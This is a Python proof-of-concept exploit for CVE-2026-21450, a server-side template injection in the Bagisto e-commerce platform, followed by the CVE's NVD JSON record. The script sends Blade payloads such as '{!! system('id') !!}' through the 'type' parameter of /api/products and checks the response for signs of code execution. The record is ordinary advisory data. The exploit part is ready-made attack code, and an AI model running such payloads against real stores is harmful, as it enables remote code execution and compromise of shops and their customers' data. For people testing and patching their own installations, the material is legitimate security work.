CVE-2026-21450

import requests # CVE-2026-21450 PoC - Bagisto SSTI to RCE # Target: Bagisto versions < 2.3.10 target_url = "http://target.com" # SSTI payload to execute system commands via Blade template injection # This payload uses Blade's {!! !!} syntax to execute PHP code ssti_payload = "{!! phpinfo() !!}" # Alternative RCE payload rce_payload = "{!! system('id') !!}" # Step 1: Identify vulnerable endpoint with type parameter vulnerable_path = "/api/products" params = { "type": ssti_payload } print(f"[*] Sending SSTI payload to {target_url}{vulnerable_path}") print(f"[*] Payload: {ssti_payload}") try: response = requests.get( f"{target_url}{vulnerable_path}", params=params, timeout=10 ) if "PHP Version" in response.text or "system" in response.text: print("[+] Vulnerability confirmed! SSTI successful") print("[*] Server executed the injected PHP code") else: print("[-] No obvious SSTI response detected") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") # Note: Replace target_url with actual Bagisto instance URL # The vulnerable parameter 'type' is processed by Blade template engine # without proper sanitization, allowing PHP code execution

{"cve": {"id": "CVE-2026-21450", "sourceIdentifier": "[email protected]", "published": "2026-01-02T21:16:02.797", "lastModified": "2026-01-08T21:20:38.707", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Bagisto is an open source laravel eCommerce platform. Versions prior to 2.3.10 are vulnerable to server-side template injection via type parameter, which can lead to remote code execution or another exploitation. Version 2.3.10 fixes the issue."}, {"lang": "es", "value": "Bagisto es una plataforma de comercio electrónico laravel de código abierto. Las versiones anteriores a la 2.3.10 son vulnerables a la inyección de plantillas del lado del servidor a través del parámetro type, lo que puede conducir a la ejecución remota de código o a otra explotación. La versión 2.3.10 corrige el problema."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.3, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "HIGH", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-1336"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:webkul:bagisto:*:*:*:*:*:*:*:*", "versionEndExcluding": "2.3.10", "matchCriteriaId": "E9A19FD0-5100-48D6-BBB3-5A4CA1D90593"}]}]}], "references": [{"url": "https://github.com/bagisto/bagisto/security/advisories/GHSA-9hvg-qw5q-wqwp", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}